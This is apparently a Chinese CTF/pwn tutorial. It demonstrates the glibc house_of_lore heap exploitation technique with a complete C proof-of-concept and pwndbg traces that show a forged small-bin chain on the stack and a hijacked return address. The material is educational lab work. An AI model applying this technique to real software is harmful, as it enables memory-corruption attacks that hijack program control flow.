how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的house_of_spirit攻击
house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。
2.house_of_lore演示程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "定义了两个数组");
fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);
intptr_t *victim = malloc(100);
fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
intptr_t *victim_chunk = victim-2;//chunk 开始的位置
fprintf(stderr, "在栈上伪造一块 fake chunk\n");
fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
void *p5 = malloc(1000);
fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);
fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
free((void*)victim);
fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
void *p3 = malloc(100);
fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
fprintf(stderr, "\np4 在栈上 %p\n", p4);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}
3.调试house_of_lore
3.1 获得可执行程序
gcc -g house_of_lore.c -o house_of_lore
3.2 第一次调试程序
root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_lore
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_lore...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中
此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)
这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x603010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)
在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8
p4 在栈上 0x7fffffffe5a0
Nice jump d00d
[Inferior 1 (process 99) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第39行并走起
在前面的技术中,我们已经知道怎样去伪造一个fake chunk,接下来,我们要尝试伪造一条small bins链。
首先创建两个chunk,第一个是我们的victim chunk,请确保它是一个small chunk,第二个随意,只是为了确保在free时victim chunk不会被合并进top chunk 里。然后,在栈上伪造两个fake chunk,让fake chunk 1的fd指向victim chunk,bk指向fake chunk 2,fake chunk 2的fd指向fake chunk 1,这样一个small bin链就差不多了。
如下图所示。
pwndbg> b 39
Breakpoint 1 at 0x40094e: file house_of_lore.c, line 39.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中
此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)
Breakpoint 1, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:40
40 fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x13
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x13
R10 0x5
R11 0x246
R12 0x400600 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
RIP 0x40094e (main+556) ◂— mov rax, qword ptr [rip + 0x20170b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x40094e <main+556> mov rax, qword ptr [rip + 0x20170b] <0x602060>
0x400955 <main+563> mov rdx, qword ptr [rbp - 0x80]
0x400959 <main+567> mov esi, 0x400e78
0x40095e <main+572> mov rdi, rax
0x400961 <main+575> mov eax, 0
0x400966 <main+580> call fprintf@plt <0x4005b0>
0x40096b <main+585> mov edi, 0x4b0
0x400970 <main+590> call malloc@plt <0x4005c0>
0x400975 <main+595> mov qword ptr [rbp - 0x68], rax
0x400979 <main+599> mov rax, qword ptr [rip + 0x2016e0] <0x602060>
0x400980 <main+606> mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
35
36 fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
37 fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
38 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
39
► 40 fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
41 void *p2 = malloc(1200);
42
43 fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
44 fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
45 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│ 0x7fffffffe528 ◂— 0x100000000
02:0010│ 0x7fffffffe530 ◂— 0x0
... ↓
04:0020│ 0x7fffffffe540 —▸ 0x603010 ◂— 0x0
05:0028│ 0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│ 0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fc ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40094e main+556
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:39
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x70 Freed 0x0 None
0x603070 0x0 0x3f0 Used None None
pwndbg>
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0xda812b0bc8e82d00
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x70 Freed 0x0 None
0x603070 0x0 0x3f0 Used None None
pwndbg>
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0xda812b0bc8e82d00
victim chunk:
addr prev size status fd bk
0x603000 0x0 0x70 Freed 0x0 None
fake chunk2:
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
fd->fake chunk1
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
fake chunk1:
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000 0x00007fffffffe570
fd->victim chunk
0x7fffffffe5a0: 0x0000000000603000 0x00007fffffffe570
bk->fake chunk2
0x7fffffffe5a0: 0x0000000000603000 0x00007fffffffe570
3.3.2 设置断点第46行并走起
Glibc在malloc的时候会检查small bin链表中第二块chunk的bk指针是否指向第一块,来发现对small bins的破坏。为了绕过这个检查,所以才需要同时伪造bin中的前两个chunk。
接下来释放掉victim chunk,它首先会被放到fast bin中,这时候我们再去malloc一个large chunk,那么就会触发fast bin的合并,然后victim chunk就放到了unsorted bin中,最终被整理到small bin中。
pwndbg> b 46
Breakpoint 2 at 0x4009e1: file house_of_lore.c, line 46.
pwndbg> c
Continuing.
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8
Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:47
47 fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1c
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x1c
R10 0x0
R11 0x246
R12 0x400600 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
RIP 0x4009e1 (main+703) ◂— mov rax, qword ptr [rip + 0x201678]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4009e1 <main+703> mov rax, qword ptr [rip + 0x201678] <0x602060>
0x4009e8 <main+710> mov rcx, rax
0x4009eb <main+713> mov edx, 0x5f
0x4009f0 <main+718> mov esi, 1
0x4009f5 <main+723> mov edi, 0x400f50
0x4009fa <main+728> call fwrite@plt <0x4005e0>
0x4009ff <main+733> mov rax, qword ptr [rbp - 0x80]
0x400a03 <main+737> lea rdx, [rax + 8]
0x400a07 <main+741> lea rax, [rbp - 0x30]
0x400a0b <main+745> mov qword ptr [rdx], rax
0x400a0e <main+748> mov rax, qword ptr [rip + 0x20164b] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
42
43 fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
44 fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
45 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
46
► 47 fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
48 victim[1] = (intptr_t)stack_buffer_1;
49
50 fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
51 fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
52 void *p3 = malloc(100);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│ 0x7fffffffe528 ◂— 0x100000000
02:0010│ 0x7fffffffe530 ◂— 0x0
... ↓
04:0020│ 0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│ 0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│ 0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│ 0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009e1 main+703
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:46
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
pwndbg>
3.3.3 设置断点第53行并走起
接下来的第一个相应大小的malloc,会返回victim chunk的地址
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
Breakpoint 4, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:54
54 fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
RDI 0x5
RSI 0x7ffff7dd1b48 (main_arena+40) ◂— 0x0
R8 0x4e
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x400600 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
RIP 0x400a58 (main+822) ◂— mov rax, qword ptr [rip + 0x201601]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400a58 <main+822> mov rax, qword ptr [rip + 0x201601] <0x602060>
0x400a5f <main+829> mov rcx, rax
0x400a62 <main+832> mov edx, 0x39
0x400a67 <main+837> mov esi, 1
0x400a6c <main+842> mov edi, 0x401038
0x400a71 <main+847> call fwrite@plt <0x4005e0>
0x400a76 <main+852> mov edi, 0x64
0x400a7b <main+857> call malloc@plt <0x4005c0>
0x400a80 <main+862> mov qword ptr [rbp - 0x58], rax
0x400a84 <main+866> mov rax, qword ptr [rip + 0x2015d5] <0x602060>
0x400a8b <main+873> mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
49
50 fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
51 fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
52 void *p3 = malloc(100);
53
► 54 fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
55 char *p4 = malloc(100);
56 fprintf(stderr, "p4 = malloc(100)\n");
57
58 fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
59
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│ 0x7fffffffe528 ◂— 0x100000000
02:0010│ 0x7fffffffe530 ◂— 0x0
... ↓
04:0020│ 0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│ 0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│ 0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│ 0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400a58 main+822
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:53
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0x67fbdd82beb94300
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x70 Used None None
0x603070 0x70 0x3f0 Used None None
0x603460 0x0 0x4c0 Used None None
pwndbg> x/10gx 0x6030100
0x6030100: Cannot access memory at address 0x6030100
pwndbg> x/10gx 0x603010
0x603010: 0x00007ffff7dd1bd8 0x00007fffffffe590
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop
largebins
empty
pwndbg>
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0x67fbdd82beb94300
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x70 Used None None
0x603070 0x70 0x3f0 Used None None
0x603460 0x0 0x4c0 Used None None
pwndbg> x/10gx 0x603010
0x603010: 0x00007ffff7dd1bd8 0x00007fffffffe590
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop
largebins
empty
pwndbg>
3.3.4 设置断点第63行并走起
pwndbg> b 63
Breakpoint 3 at 0x400aff: file house_of_lore.c, line 63.
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)
在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8
p4 在栈上 0x7fffffffe5a0
Breakpoint 3, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:63
63 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7fffffffe5c8 —▸ 0x4006f6 (jackpot) ◂— push rbp
RDI 0x2
RSI 0x7fffffffbe90 ◂— 0xe6a89ce52034700a
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x1d
R10 0x0
R11 0x246
R12 0x400600 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
RIP 0x400aff (main+989) ◂— mov rcx, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400aff <main+989> mov rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
0x400b03 <main+993> xor rcx, qword ptr fs:[0x28]
0x400b0c <main+1002> je main+1009 <0x400b13>
↓
0x400b13 <main+1009> leave
0x400b14 <main+1010> ret
0x400b15 nop word ptr cs:[rax + rax]
0x400b1f nop
0x400b20 <__libc_csu_init> push r15
0x400b22 <__libc_csu_init+2> push r14
0x400b24 <__libc_csu_init+4> mov r15d, edi
0x400b27 <__libc_csu_init+7> push r13
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
58 fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
59
60 fprintf(stderr, "\np4 在栈上 %p\n", p4);
61 intptr_t sc = (intptr_t)jackpot;
62 memcpy((p4+40), &sc, 8);
► 63 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│ 0x7fffffffe528 ◂— 0x100000000
02:0010│ 0x7fffffffe530 ◂— 0x0
03:0018│ 0x7fffffffe538 —▸ 0x4006f6 (jackpot) ◂— push rbp
04:0020│ 0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│ 0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│ 0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│ 0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400aff main+989
f 1 4006f6 jackpot
f 2 7fffffffe6a8
f 3 7fffffffe6a8
f 4 1f7b99608
Breakpoint /ctf/work/how2heap/house_of_lore.c:63
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x70 Used None None
0x603070 0x70 0x3f0 Used None None
0x603460 0x0 0x4c0 Used None None
pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000071
0x603010: 0x00007ffff7dd1bd8 0x00007fffffffe590
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
